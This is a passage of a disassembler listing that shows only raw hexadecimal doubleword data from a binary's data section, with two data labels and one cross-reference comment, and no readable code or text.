		dd 20A73107h, 7DD2D9C2h, 0C9F1CF27h, 3500FDAEh,	0C246E1FFh
		dd 47C6601Dh, 20D0590Ch, 84C0FB27h, 657FCDh, 7F118D7Dh
		dd 1E131A88h, 57D4DB0Eh, 0A1A0054Eh, 0E0286000h, 42CCC823h
		dd 121FC02Dh, 13A8BE0h,	0CFC5731Bh, 0EBAF97FFh,	0EBE77000h
		dd 0BDA3D972h, 0B8A800C6h, 0E952485Ah, 4E002813h, 44A9AE33h
		dd 0E23F12Fh, 55A36BA2h, 0C1FC82C0h, 3C1868CCh,	6EA86F2Eh
		dd 925600F9h, 915577B6h, 0D00124DDh, 0C6C9B53Ah, 7080C0DAh
		dd 0A163F7D2h, 0AA3A46FBh, 8266F8A4h, 3D219C08h, 64805C4Eh
		dd 247A6F9Ah, 3E3E06BDh, 0E28C8405h, 2481C1FAh,	70C5BF8h
		dd 0CA259B2Eh, 2431BE12h, 0AB03FA40h, 8E8999A0h, 908F9A02h
		dd 0A1DFCF71h, 664C5280h, 0C8ABB880h, 0D10C3368h, 20C073E8h
		dd 9344C255h, 102364FBh, 2052C02Fh, 77008E5Dh, 16638C59h
		dd 0A189F9E5h, 7448E1F8h, 90A60836h, 69C47246h,	0B04E4947h
		dd 3D660AC6h, 5B7DF31Ch, 0CD89B1C0h, 0D20832h, 3C4FB7CCh
		dd 0AEC44A9Eh, 0F8BEC4A1h, 0FF2446DCh, 2174A8C1h, 5A80FA41h
		dd 0A67DF19h, 78BF0018h, 6B637317h, 0CE09B0BEh,	48D94D0h
		dd 6BC1B486h, 42C62D04h, 69A483B8h, 0F1EE9027h,	0C9C360B2h
		dd 0E51316CDh, 72A66E03h, 30C53C0Bh, 0D721DF22h, 0B7E8DA64h
		dd 0AA861A03h, 3AE1135Eh, 67827218h, 8A8715B6h,	416A79C0h
		dd 0C6CD5800h, 266FBBF0h, 0FD5A12C3h, 0FCF05847h, 182A1C27h
		dd 8D04E0CFh, 1A925DEDh, 0DD49A880h, 7F0400D2h,	0AFEAC1F8h
		dd 110F6B03h, 0D80FD9F6h, 468E90h, 5064598Ah, 0AE25E4FBh
		dd 0C07349h, 0A695FE55h, 1731E08Dh, 1277D7Fh, 0E8B5A558h
		dd 0B4B98C4Dh, 253141h,	2B9033BEh, 0B6560474h, 0C728F000h
		dd 0B5776C5Ch, 2808694Fh, 62120404h, 0F44CC0FEh, 8049B29h
		dd 0DA07D1ECh, 0E250034Fh, 0F00B88h, 0AC02D941h, 9D434B16h
		dd 1FC09948h, 3C071CB4h, 0A7778EE6h, 4D616C50h,	0F7DD3C42h
		dd 0CC4B12F7h, 0C91C0962h, 0C2214C10h, 0B871C891h, 0C50FE18h
		dd 550A8CE3h, 0B0F9E6C1h, 0A8260E1Ch, 87CCFFDCh, 857082h
		dd 5AF38016h, 717A3C0Dh, 2D898C11h, 9587A600h, 5874C240h
		dd 0CDA0190Ch, 1DCB488Eh, 0EE636991h, 0A329057Ah, 0D334804Ch
		dd 2013415h, 8097AE3Ch,	37E00DEFh, 33900058h, 961E06D1h
		dd 0C24889BFh, 7E910159h, 0B97077E1h, 0C17760h,	8A9B7D03h
		dd 656B84BDh, 0EF390B00h, 13F6AB1Bh, 0C7430041h, 0DD4630F5h
		dd 91003EB3h, 0E0A287BEh, 5E74DEh, 846DEB54h, 3CD3082Ch
		dd 0DD234800h, 0F65516E8h, 5F871E47h, 0C2EB87B9h, 0BD2ADC38h
		dd 0D07C8C00h, 3963F507h, 82A8025Ah, 56E0D820h,	0D04DC4A0h
		dd 78005928h, 9D087666h, 0E646392Dh, 1D370114h,	0A536AAAEh
		dd 949C40CAh, 9E00E610h, 2DFC05ADh, 529F7Eh, 495C19CCh
		dd 3FAEBCDFh, 6BB9EA00h, 6FE502CBh, 4D530003h, 0BEDD34ADh
		dd 2E00F22Ch, 2F9D9FB8h, 0DAA407h, 0DEE6B2D4h, 496608DFh
		dd 341CB379h, 0A8589DB7h, 1402D820h, 0E0091165h, 0B1181909h
		dd 95995780h, 5D036850h, 529C02D2h, 8D9AE961h, 60BBB5D4h
		dd 0BD9E300Ch, 87006508h, 46771E6Eh, 0B54C33h, 0D43EFFD9h
		dd 0FD412779h, 0CCBB8F01h, 48CA606Fh, 5CD298C4h, 0B5801CA6h
		dd 0BC14B0B9h, 61EB0C0Fh, 9C2E416Ch, 0C06F8D59h, 0B0923041h
		dd 48E8F448h, 961B81F4h, 38601A33h, 6FA300ADh, 0C606371h
		dd 0E40FF3EDh, 1F2036D3h, 96D7B300h, 0E6423C5Dh, 0A6D0A8ADh
		dd 50E56079h, 12A56C3Dh, 7E559000h, 0CF74FB54h,	6DFA00E3h
		dd 16CBFEE0h, 0B2076AD5h, 535715D8h, 5F1C9270h,	6D9B13FBh
		dd 6136056Fh, 0EAC8071h, 0D4018785h, 55BED9A4h,	1983E9E5h
		dd 0A5F77BBDh, 0EFCC5EE0h, 3B57844h, 0D27DA1D0h, 0E78B5941h
		dd 0F54607D8h, 9C834C28h, 0B8C0D8F1h, 2A5E4A2Ch, 0FCA6CB00h
		dd 827E56h, 0C108FEA5h,	0BD8CED34h, 6C499118h, 0C66BE4C6h
		dd 542CA608h, 0BBEF5B03h, 0A0FCB85Fh, 915DE3h, 9C34B717h
		dd 0B616F79Bh, 0E92B8000h, 8A601C7Bh, 0C6553F2Fh, 1B6CC580h
		dd 129279B8h, 0EE442700h, 146E86BEh, 88AC0058h,	26DDD22Ah
		dd 7301381Ah, 2D4B49E4h, 0F4ECE851h, 9D440765h,	5012BC18h
		dd 0BFEB08D0h, 4B07F000h, 0AB80726Ch, 0EC170089h, 5B7AA1DAh
		dd 0BE3F3554h, 90428053h, 71089106h, 1C7F00FFh,	0AF2CDA07h
		dd 0A900651Bh, 0A27E4BC9h, 0A07073h, 0CA8456D6h, 4DC11D41h
		dd 375AFA00h, 2CE2AA7Ah, 950100B7h, 630C6DEFh, 76179206h
		dd 7B003D7Bh, 34E9A512h, 0DE9C00AFh, 0AAD3E8B1h, 0FCF9FC8Ch
		dd 7800887Dh, 7C03E2CEh, 0F160B8h, 0CB99D533h, 1936CF56h
		dd 0C4294A26h, 0DFA2F900h, 77BB95h, 9F1442Ch, 76F27A0Dh
		dd 5E851B1Fh, 0C249E380h, 1E8046A0h, 804FE7A5h,	6D27B4E8h
		dd 24F6BE9Dh, 0A10FDC0Fh, 1230C026h, 0B6F8C0h, 6240DBA5h
		dd 0A3CA601h, 89A82200h, 0DAF29932h, 8A7400ECh,	1F42D84Ch
		dd 63FC0AE8h, 754F8C00h, 0FBBD0731h, 5C0538C1h,	0F3B9EC00h
		dd 6CC3C84Ch, 0EF5DA800h, 0B12A6E06h, 0E37903Dh, 825A97CBh
		dd 647A1CE0h, 650066C3h, 38F3DC7Bh, 0DA33C8h, 9EFA752Ah
		dd 5230593Bh, 6DFDDD03h, 0E849B531h, 7DCDBA8h, 46928B42h
		dd 4FA5F34Ah, 29E80800h, 4948B897h, 98D000C8h, 0AC763094h
		dd 0E20121F6h, 0A6ED4E38h
dword_52F848	dd 0CFEC24FEh, 0FC0A480Eh, 1D0CA40h, 0D84167Ah,	600CD6A3h
		dd 6D00B996h, 0B33CBD1Bh, 1D0C243h, 68CC07F3h, 808FA651h
		dd 5BAB4E18h, 60A93D33h, 0AC2941F4h, 581FFBEDh,	0E6C01D77h
		dd 44F18C49h, 83F23F57h, 91C9E298h, 0FB01A6E9h,	86011F75h
		dd 33CCCBDFh, 324B0080h, 669AF5A0h, 99009B3Fh, 2E63885h
		dd 5A4263h, 79DA6BACh, 40ECF961h, 5776CF01h, 7B9C4EEEh
		dd 4DCE8980h, 6C682D13h, 0D08DCF00h, 0A5699D54h, 3AE77BD5h
		dd 18F506Dh, 0E2607034h, 4283FC17h, 0DF54B300h,	0F0EC30EBh
		dd 26A20792h, 0E058AD96h, 8CF17BAEh, 61E69500h,	6B2223BBh
		dd 0FB211FB9h, 125C088h, 9FB1790Ch, 99E82603h, 0A009CF24h
		dd 0AE87AFh, 976C21FFh,	64707E10h, 416B1700h, 9DFB5C9Bh
		dd 0F11338AFh, 437BE09Dh, 43ED153h, 0CCF4ACD0h,	2C00BD71h
		dd 6426B680h, 1C191859h, 0C06C7CDEh, 0EC3EF94Eh, 54252498h
		dd 1DAD74E4h, 556700CBh, 0A4CE90DBh, 0C304A000h, 0BD808274h
		dd 6C20E0Bh, 520014A1h,	7C49BB6Dh, 1016E406h, 1ED0D8F9h
		dd 138DC4h, 3FCAB96Ch, 6679907Dh, 69FC2700h, 0EA688C09h
		dd 0DBEF0F0Ah, 24605016h, 0CE0F4EB5h, 0CD5C1D0Eh, 2874413Bh
		dd 976003F0h, 4AB11D69h, 0D37BC014h, 59CC5A25h,	189C5400h
		dd 199327ACh, 1D9700D8h, 0F790B213h, 0A6053774h, 68ADE95Fh
		dd 391485C0h, 0A7E1033Ch, 29C950C4h, 2C6F81D8h,	3DB23A2Eh
		dd 77A54200h, 1359B3h, 0D410BD4Ah, 27CF8D8Bh, 0FB00A675h
		dd 0C5EE9496h, 0AEA2848h, 59A96D4Dh, 7B8B809Eh,	9D230304h
		dd 0BC00D4EAh, 6414A57Fh, 0C058E8Dh, 0D9F0BB29h, 46007469h
		dd 1FC5CF65h, 0C18E5ADh, 0E3983DC8h, 2139BAA0h,	8EA5BB0Ah
		dd 405249B3h, 0DFA625FDh, 0AF173F06h, 0CB804BB9h, 57A4EF4Eh
		dd 0F0E82264h, 94E86600h, 1FD8C45Eh, 25B8DFh, 133C996h
		dd 99B7D2DDh, 7CE6E200h, 93AADA22h, 0DF3E3D08h,	0EA2CF700h
		dd 0F59F6EE4h, 0A5D4F800h, 0F4B181C6h, 11E00EDh, 3DCD508Ah
		dd 4D005826h, 296671E4h, 8EC464h, 0F0EF8039h, 3B09A1E9h
		dd 0E068C806h, 20544Ch,	42FA8D1Ah, 0B2F92CFh, 7BF52200h
		dd 9F015D2Bh, 5B9600D0h, 0DA56D3F0h, 301F82Eh, 0D7C48C83h
		dd 0BAE849A4h, 3EC57C78h, 0F3817B4Ah, 45266B33h, 70E85091h
		dd 0B4004DD1h, 25FB4853h, 0C367EFh, 0A945F9E9h,	3A242089h
		dd 0AE708500h, 39419728h, 291E0BE6h, 0E80AD63h,	5EB8364Dh
		dd 0CA7D4A00h, 0A5858827h, 8344172Eh, 0FC00FABCh, 0DA3D51FDh
		dd 58AE00FFh, 0C7E54D69h, 0A51381CCh, 0F40030B0h, 0D5551B2Ch
		dd 0CF7095h, 64DF4491h,	8F79D15Bh, 6E500900h, 7D942771h
		dd 0DC1E0136h, 0C3C4C053h, 0FC64F57Ch, 0A8003BF1h, 0BD5A851Fh
		dd 0E381C7h, 0D0F4B514h, 809DCCAFh, 8F128C39h, 9861A1h
		dd 89E46AC3h, 3C7D3B52h, 0ABD07209h, 2F644C00h,	2700F07Fh
		dd 0F5AFCA18h, 3D505E12h, 0B008F2Ah, 57E8553Eh,	66E214F6h
		dd 2119D004h, 0E8809CACh, 0F106B462h, 54460h, 0B5AE7D0Ah
		dd 2379681Eh, 0C3258900h, 7554ADF3h, 6E3400A9h,	50ACA78Ch
		dd 1500C602h, 8924B283h, 0A7DC9E0h, 0AFC3218Ah,	2A320318h
		dd 0A80BC28Dh, 115D35Eh, 0BC10337Eh, 0D8B17DF8h, 0D96F11C0h
		dd 144F9300h, 836D2A9Eh, 0F1B6129Ch, 0BAF1007Dh, 0BE638BAAh
		dd 0D1A23E00h, 15B4754Ch, 251A0050h, 45B7010h, 761E56F4h
		dd 0AC068AA9h, 0E89885Dh, 0AF9DCB2h, 0DA46C860h, 5748CEE4h
		dd 30BE307Bh, 1DB8359h,	0C9452F24h, 0D31EE306h,	0C3268980h
		dd 0DE68FE55h, 17CB18h,	7FB0BDA8h, 9153761Eh, 0A37C3Ah
		dd 22927A14h, 757DB3h, 194E33Ch, 0EEDC1617h, 9C77C00h
		dd 76883003h, 86C50374h, 1AD2A884h, 8DD3AB98h, 0E81DFC16h
		dd 0EE6B5F00h, 146455Dh, 0DF0AB1F5h, 0F0DC122Eh, 3E00C0FBh
		dd 196DDA3Ch, 9A3A8h, 0C3E97EB9h, 85377757h, 2CD58701h
		dd 558DC83Dh, 0B807D3DFh, 598CFAh, 0FBBCF9Bh, 1B5B2C93h
		dd 13C2EF00h, 0C3B92914h, 0F30200FAh, 68C67B7h,	8D00FB59h
		dd 3328D644h, 1FEBF6Fh,	264AC2CEh, 0E0892FE9h, 633F695Ch
		dd 0BD4D0022h, 6173F816h, 0B6100F88h, 15403DA0h, 0C5EAEEB0h
		dd 0C90BF200h, 0D278B31Ah, 0BA7DA5h, 3660D879h,	0EFFDA3D3h
		dd 0C008FF18h, 8871B729h, 77887497h, 3CF6886Fh,	0A0AB0D40h
		dd 8976D728h, 0B514410Bh, 0F519188h, 569CE300h,	6073FCCDh
		dd 826B8700h, 36D8894Ah, 0B78118AAh, 5E250837h,	2E6A5A01h
		dd 77E7670Eh, 0A052B9C0h, 558497h, 91150865h, 0D23733Bh
		dd 4CE6120Eh, 351980F2h, 7CB113h, 4F34E962h, 326BFEA9h
		dd 74189100h, 0B84DF896h, 1DB9FEC1h, 0C0DF87A8h, 1EA066F7h
		dd 0BC7D51BDh, 872FFC3Fh, 8F05A239h, 7E18F7E0h,	40120017h
		dd 33558AE3h, 0E500B3D2h, 35D15FA4h, 696EF2h, 0C949B084h
		dd 0B2A5C750h, 0C614FE01h, 5212B11h, 0D947CCh, 2E816B36h
		dd 0F75FD039h, 51C1D700h, 0BC0B6693h, 0A21600B1h, 0AD702CA6h
		dd 0AB038BF2h, 0B85E4D75h, 0D4A8A8A5h, 152700F3h, 0EF320396h
		dd 4D016D66h, 0D29CE641h, 0DC2077D9h, 279801AEh, 733C1C75h
		dd 6AE07E1Ah, 56303FB7h, 90601Dh, 4439BFADh, 0B4725F3Bh
		dd 69A9D800h, 0D78E9ACCh, 205D60FBh, 3D158580h,	7E126500h
		dd 0E1C74961h, 8DFF0042h, 6DB7BD73h, 9B0057ADh,	45F02717h
		dd 5AD3E6h, 0FD0C0511h,	7D330471h, 8C00BA74h, 0B10269FBh
		dd 0F857CD84h, 7C290EF6h, 5FC1AFDCh, 80674662h,	43703A99h
		dd 0C186B0h, 0F580B637h, 60AACFBCh, 0D02B5300h,	0EC9D8B41h
		dd 0B486012Eh, 622C7AB5h, 0A5F3E0FCh, 91330501h, 1927BFC2h
		dd 0EC092120h, 0FE850089h, 2A21A0BDh, 783EC754h, 35AE0913h
		dd 2B07807Ch, 0A518B9h,	0D84FA65Bh, 6B53B264h, 0A40F7F7Eh
		dd 0FD3EAF69h, 0D683187h, 15452E00h, 0A78F00CDh, 92A3C157h
		dd 8900CBDEh, 0D303E9B6h, 6FB7F7h, 17D791F5h, 0CD6BE5EAh
		dd 5DF30C19h, 4661C9C8h, 971CD4h, 5F600701h, 9B6E8D61h
		dd 906DF91Eh, 0DC2006C0h, 0A45C8Bh, 0A069E695h,	0AB3A1E82h
		dd 0F26EF700h, 5844D204h, 3263002Fh, 5EFA9719h,	62007802h
		dd 99A69F42h, 9CF414h, 0DB41EA87h, 0F1C29345h, 5900FF78h
		dd 2318CD40h, 85F56Eh, 44CCCF75h, 126497DCh, 9995900h
		dd 4C25813h, 7897A0Fh, 2FE5BF8Bh, 806F4477h, 2CAE6E5Bh
		dd 0F8B50D00h, 3054A3FDh, 0ABBC00E7h, 94E5648Ah, 0D8022418h
		dd 0EA84515h, 0B50340D4h, 1B7400E6h, 878462E3h,	17007711h
		dd 7044356h, 70053FA0h,	0A1D73DEFh, 44AE1400h, 770F6E70h
		dd 7FB5C25Ch, 0F238D9E8h, 514883DDh, 0C0E5D89Bh, 0FC8B335h
		dd 65521BFBh, 5B5E0B40h, 0CB0028DAh, 4EE339CDh,	1E22D16h
		dd 97D8EF2Ah, 300BF0B6h, 741EF105h, 0A1407753h,	683C15A0h
		dd 652F0088h, 321BEB96h, 0EE0C9CE0h, 304FA89Eh,	0E2A0548h
		dd 80D10BB7h, 0D4FDA100h, 496CEF00h, 86A66FE0h,	2DE84Ah
		dd 2981840Eh, 0C4AECC15h, 3BA43D00h, 71632E7Ah,	6C690F42h
		dd 79E15CA7h, 0DC64CB67h, 0B3F6FC92h, 2E0022F0h, 1B057CABh
		dd 0D941E0h, 0D698822Fh, 7DCF9313h, 0BE3FA400h,	89B527E6h
		dd 0D3D039C2h, 0FDF35D00h, 291123AFh, 0F43AA205h, 3E80675Fh
		dd 0EBD159h, 5168E428h,	7C675F9h, 8711C30h, 246A8Ah, 0BB7C0143h
		dd 5F291DB4h, 8099B33Dh, 0B7EAB618h, 7BA90821h,	0BF412C28h
		dd 8EE9006Eh
		dd 3AEC3622h, 336E7D00h, 0B284E527h
		db 0E2h
byte_530055	db 5, 0C5h, 85h		; DATA XREF: ___:off_437A5Co
					; ___:off_437A74o
		dd 9BC957h, 0B94244C0h,	0DA0011B7h, 0A9E14669h,	795BCCF1h
		dd 546F3D3Fh, 2822BA00h, 0EAE092Ch, 13A2E900h, 0CD0DE54Fh
		dd 951D02F5h, 87E0D4C6h, 91F4F640h, 3C25A11Fh, 0CC3166C0h
		dd 7B0566Ah, 0F2F92BBEh, 4FA36055h, 8AB8FEE2h, 92483200h
		dd 71CBD299h, 3A7B0F34h, 9B41543Fh, 0F49D4B59h,	0A3003E95h
		dd 0DEB0CDD6h, 0FEE8AB62h, 2E3977CEh, 18F2B6h, 6CF12F70h
		dd 0F3FE1FF6h, 86004975h, 0A161EC04h, 0B91E94h,	37162659h
		dd 0FBE82972h, 0CED0DF00h, 4D9B3528h, 0F95B50E0h, 0F9AE436h
		dd 175F30E8h, 136B4460h, 0B60784FCh, 5E10DC9Bh,	0B0A7D3C1h
		dd 603BD0h, 0B30BD64h, 3E09B1C1h, 956B0300h, 0AD7B86DEh
		dd 0D09600FCh, 2BE32AF5h, 4400BAB5h, 27A5CA39h,	0C6931Bh
		dd 0D0A3C229h, 0D17F870Dh, 0DE345914h, 0C2132689h, 1F2D8038h
		dd 0CF1CC571h, 5320E09h, 65201DDEh, 0A36FB40Ah,	0B55DA40Fh
		dd 224FC3BCh, 9827A10Eh, 1C4770h, 0DDD34DC9h, 42DF1BE0h
		dd 766F100h, 19C6AD97h,	20E705Ah, 31A91CB6h, 0C0D4DFh
		dd 0C800AAFEh, 7DEDB93Ch, 0B37FC5h, 30DFB71Ch, 0AD639D44h
		dd 64B1A200h, 4D6F2AD8h, 0B711131Dh, 0D04E00A5h, 0CA63F9ACh
		dd 0CB9F9E00h, 7FF5BBF6h, 7A112C6h, 0B3B8003Bh,	2AC4E196h
		dd 0AF30AE01h, 75FEBAFDh, 0C6B5C0h, 54EA5E8Ah, 52C39099h
		dd 3BEFBE00h, 0D8FF91EBh, 0C6920073h, 0F8B14B81h, 0C30047DAh
		dd 368FCC2Ch, 3CEFB53Eh, 538063C1h, 5C56E86Ch, 7B0090E6h
		dd 197C838Dh, 166058FCh, 4C1AF6h, 79EE6545h, 98006775h
		dd 5B7055B2h, 0F73EF2h,	5E9D5989h, 0E1107AA6h, 0C0CAF300h
		dd 0E4928AFCh, 38EBE812h, 5583622Eh, 0FA909E58h, 0F0A440A1h
		dd 3701E03Eh, 9CACCA7Bh, 59ECAF41h, 3F0200ECh, 9D6B8F57h
		dd 0B7009990h, 0A30F657Eh, 6020C77Dh, 38C54851h, 0A00191Bh
		dd 0BBB5FE69h, 7CCCDAD0h, 0F97E40h, 833DAFC7h, 691281ACh
		dd 4B562900h, 0F6E9243Eh, 0AF8C0070h, 0B7C26F71h, 6A3E73C8h
		dd 743ABCD5h, 0FA7AC00h, 95FE4739h, 0F31F0D6h, 0D7C9831Ch
		dd 28EA0E0h, 8B013A50h,	8A56BF4Fh, 0FCF03E52h, 0A9A51C9Fh
		dd 8024C066h, 69F35ADBh, 443B3377h, 0C7CB84F1h,	3881966Ah
		dd 5BF877EFh, 0ED9500D8h, 3CACA854h, 0D500B14Ah, 0C180DD3Eh
		dd 3AEE71h, 0F07AE477h,	73E9E078h, 8E7B2B7Ah, 5D4A4B00h
		dd 0E4C68D5Ah, 7E6E0A9h, 167DDC87h, 0AEFE2025h,	0BE00201Ch
		dd 1E4CD2DFh, 68FABBh, 726F2496h, 0A7DD4D8h, 0C5805501h
		dd 3E2D421Dh, 77F0CBC9h, 87D7002Bh, 258AFB0Fh, 4058684Bh
		dd 51DD3A12h, 50DFE8F4h, 0C8597D28h, 85A07000h,	4E1FC1E8h
		dd 0B03E03ECh, 0D1BD22FFh, 6800D5ABh, 35B8EDFh,	742544C6h
		dd 547001D3h, 22413DDCh, 99E0D727h, 200E0F7h, 96A236ABh
		dd 13F14Dh, 1405B71Eh, 0D21776D3h, 8890F900h, 0FEAFFCC3h
		dd 783100C7h, 84BED724h, 0EF0045F4h, 0CA04EC0Bh, 0F7BC969h
		dd 9406A0EEh, 3A4465A0h, 3B005550h, 5B7F3888h, 2A43C1h
		dd 27304717h, 0F7631940h, 3B725914h, 4578009Dh,	0C28B818Eh
		dd 5B9602DEh, 16AEF97Dh, 0A309607Fh, 585A0EEFh,	0E0E7973h
		dd 59007AAEh, 24B76A89h, 809A833Dh, 96802DBBh, 1EA990Ah
		dd 0EC505D8Dh, 20DEA298h, 8A008CCBh, 647BE2Dh, 2ABC48C6h
		dd 0DD410Ch, 8DCE7401h,	9249DBAAh, 4B58FEE0h, 9630030Dh
		dd 0C34FBA3Fh, 7A00062h, 0B608AAA3h, 7AFE128Dh,	0FD0709Fh
		dd 0C816A442h, 9328B500h, 2B3BBAEBh, 0D810807Ch, 566CBB87h
		dd 64500B4h, 0BFC10513h, 150BEC3Ah, 0DC49E55Dh,	84FF0689h
		dd 0F0016867h, 0AE202B55h, 0A8BF514Ch, 40BDEA81h, 80089F76h
		dd 0A7F4AB40h, 0B56E73h, 923F6FF0h, 0CBD1035Ch,	0D9B88D7Ah
		dd 427C8A1Eh, 0B6D64AC0h, 49ADA629h, 0C0FF81Ah,	62E0AE7Eh
		dd 92585D99h, 0B6246900h, 0BFC0B38Ch, 0AE6B5845h, 82021C00h
		dd 21F2E759h, 0A047F500h, 0DA12011Dh, 83B11F8Ch, 9A814076h
		dd 25B0D66Ah, 0E9C83800h, 0B4F841E3h, 5080E547h, 37E1730Dh
		dd 10C0C5E4h, 4B3FB78h,	417560D9h, 0BE51B83Eh, 3296C207h
		dd 0D1D7B5C5h, 0A284FB10h, 0F22E0F2Bh, 88C922BFh, 8D092280h
		dd 3A2C15B4h, 8A00007Fh, 0A784AB6Fh, 76080080h,	11AD4364h
		dd 0EB0EBBBDh, 2F8B7BCFh, 7F5DC023h, 3E4EA49h, 31782CC7h
		dd 0F7F84EDDh, 0C0B89CE8h, 0EC030A00h, 0AAF4BACEh, 35A20ED0h
		dd 6200DA8Ch, 278FCA78h, 0A1DB9C00h, 0B3D65F5Eh, 86D50098h
		dd 0C3E3DE2Ch, 9700D9B9h, 0A5E2E560h, 0E0B4521Ah, 45473D1Ch
		dd 82555D03h, 0FCA0C023h, 0D20E3661h, 0A083A3B2h, 0B13444BBh
		dd 841F1C3Bh, 0A6410709h, 0E54A006Dh, 6A0C62FFh, 865B2FAh
		dd 4EF80040h, 93D0D5B5h, 0DA078813h, 0F15BB0D9h, 36E517A0h
		dd 1FE8056Bh, 80F92EB1h, 0B9BA0D30h, 0A4DAAF00h, 6B16E047h
		dd 0D9FF007Dh, 0CA2D6FD5h, 0BE00F03Dh, 6A0858B7h, 0FE91ADh
		dd 42D4F409h, 0DD57642Ah, 4316DE00h, 3DC3D005h,	0B7400C9h
		dd 984D3297h, 1C00B571h, 0FB8AB2CBh, 7234960Dh,	45482C7Ah
		dd 64F000BEh, 0EF983B74h, 12D4300Fh, 1D9521C0h,	3EF7C4BEh
		dd 0F38C1671h, 0A4118FB9h, 0CD7C71Ch, 1DD3017Dh, 53E422F9h
		dd 2309C18Eh, 0F494F700h, 0BB183135h, 2C3890EAh, 0AD581870h
		dd 0DD0D2817h, 6D27DC00h, 72665328h, 16700077h,	73BC4163h
		dd 31012508h, 4655E9EBh, 43E08BE8h, 69400D5h, 0ED4E71B3h
		dd 44007A9Ah, 0EC2B0B09h, 79B81E1h, 943DCBC1h, 796D810Ah
		dd 0FFEAD4F5h, 0B200CCB8h, 48056FBBh, 973032h, 1B9490D6h
		dd 0F60C8820h, 407E8300h, 740A379Ah, 592603EDh,	0B64F5BB2h
		dd 198AF0D7h, 0EF03B36Fh, 55CCF593h, 436B887Dh,	292A0011h
		dd 156689D5h, 2563E221h, 0F8867F88h, 8D4B1Bh, 18CFB84Eh
		dd 9B01E539h, 0A10002E2h, 7D541080h, 0B9BDC8h, 97A2E28Bh
		dd 0CBB809FCh, 5751900h, 0A313CCD8h, 60AA7CA9h,	46A230EDh
		dd 0EA1E6779h, 3F006AD3h, 0C37E8DDAh, 682A070Dh, 0C06C94B6h
		dd 85C74E51h, 3DC11400h, 3B81CB49h, 0E7B6487Ch,	67034D00h
		dd 65CCE42Eh, 5FE23300h, 0E6684A74h, 40593838h,	9F002BBDh
		dd 2D8BE449h, 0B30E7A15h, 20980B36h, 0A56731D6h, 0B66A3FCDh
		dd 0F8182707h, 7AD54079h, 90390DFh, 0E4822F5Ah,	2070E8CBh
		dd 17501D3h, 317152ECh,	0F254E41Ah, 38DD6C00h, 5E6E156Fh
		dd 1D4A0040h, 52A773F0h, 0F1037021h, 9119E53Dh,	77CFB00Eh
		dd 827D24B1h, 492E005Ah, 19A28FA6h, 388CF600h, 4A2C3714h
		dd 0D4223063h, 3905FCE8h, 8CC9B501h, 0AA33F2FDh, 4BCED225h
		dd 65A7D06Ch, 0DF7E1C50h, 1B67CF87h, 21B49EE6h,	740B7A03h
		dd 0A0811AE4h, 1EE1206h, 0A79EA526h, 404C2CCEh,	6B8D23B8h
		dd 66F1107h, 0C5074E3Dh, 20BA5C40h, 1CD97D93h, 41230F3Ch
		dd 1429833Eh, 49C1D73Ah, 6982401h, 902FE7Dh, 4C3DF4F6h
		dd 8640C03Ch, 21020098h, 0C5D143E1h, 0F1008A9Ch, 0AF75962Ch
		dd 0B303FFh, 46DEAC6Dh,	86272BE5h, 2A355100h, 37563883h
		dd 2D92CD91h, 7559F810h, 24309504h, 4C74BDCh, 0F04E1113h
		dd 2CBB81D4h, 61EDAFh, 0DF049CF4h, 26E4F1A5h, 9D03DA1Ch
		dd 5CEE1501h, 50812930h, 6A2DF39Ch, 9398D02Eh, 0A1A06600h
		dd 0F0685E34h, 703A719Ah, 92BC7846h, 8E4003Ch, 0F3AD9939h
		dd 0FB00658Fh, 8E05F448h, 29B35F98h, 7C5187h, 2F32623Ah
		dd 5200BD72h, 13AD9526h
		dd 903B3351h, 0AE870088h, 6411D8D0h, 9F4E73F1h,	93629E0h
		dd 0CF3C558Eh, 0CCD0C800h, 15F01CCDh, 0AE1ABE00h, 0FA22376Ch
		dd 0C9BB0358h, 0A98A8E14h, 0D14833C0h, 54D3F630h, 0E056E3h
		dd 7F90D93Eh, 74497505h, 37401D00h, 0B1CEC4B9h,	0E7920CEEh
		dd 2C5882E9h, 246BAC1Eh, 2F24C96Ch, 0C043F31Ch,	0D8B9098Ch
		dd 0F8689957h, 0AAFB0133h, 299EF43Ah, 0C8F5FD93h, 9C122324h
		dd 271D128Fh, 0A33B2000h, 9EFCB7h, 7EE225D5h, 16310BF9h
		dd 2C6A7716h, 8BC1E501h, 0B040BDB7h, 7943115Eh,	46FC168Fh
		dd 0EF310F01h, 49148A00h, 0D0788429h, 0D5579E00h, 0C9D83246h
		dd 0D978264Bh, 0F900757h, 305837E3h, 41C8BEC2h,	0AFA0A900h
		dd 85289F7Ah, 0C36203A4h, 0C295A71Bh, 0DC7FC200h, 0FA44F8F9h
		dd 127500B7h, 3C68CFB0h, 1C17999Bh, 0D01FE218h,	44018316h
		dd 0EF1B5792h, 0B54C20h, 3C7D50EEh, 0E21DA879h,	0E69D2F00h
		dd 6C7F7465h, 3E50B0F0h, 0A100BE7Eh, 360E2354h,	0D8980FF1h
		dd 0E3A29901h, 9EAFCC6Ah, 0D82098E5h, 0ED3600ECh, 8F5B7121h
		dd 0DD1F9BAAh, 0DB434E4Fh, 0CB5AEA93h, 2120B881h, 0FD4A000Bh
		dd 51DD7E22h, 0EC007839h, 0EB3E41E9h, 58D22F88h, 103C81Ah
		dd 1103B6D3h, 0DC8E9F80h, 5934BC0Eh, 8C003205h,	69CE13C3h
		dd 0B9D90023h, 3084622Fh, 5C1E9E3Dh, 58CF60EBh,	43C56144h
		dd 51E82E0Ch, 811E30F7h, 58DD0808h, 80B6CB3Ah, 3A909198h
		dd 0F6D433h, 0C04B470Eh, 0C26D5BFBh, 0A87EFE3Fh, 9C008CDh
		dd 67161864h, 0DAA300F6h, 44DFC9Fh, 5000C06Bh, 0FC79EB8h
		dd 0E6575319h, 38F263h,	2635BB1Dh, 28DE5162h, 0D8F06F00h
		dd 4BCCD214h, 8202057Bh, 0D081298Bh, 0DA5A8448h, 0ED87D804h
		dd 4CCFBD03h, 17BA2F1Ch, 0A97B0077h, 0CA180CB4h, 80E49A48h
		dd 8A811DFAh, 5446002Eh, 48BDD639h, 0F160F696h,	0B2926516h
		dd 6D9D0766h, 0D07573B1h, 0DD6B5963h, 0D415A40Fh, 0A15F2ECDh
		dd 6A11BB05h, 9AF3F0h, 97BA5120h, 0DEEAB378h, 8412C91Eh
		dd 2C9D0680h, 0EE2F103Ah, 0FB900D0h, 1FC6910Ah,	0F61E61FFh
		dd 67C27EB0h, 5563206Bh, 0AFD6AD00h, 3900244Bh,	8E3437CDh
		dd 730A7325h, 4D8900E4h, 836D8243h, 0E0042F68h,	65A1D6DAh
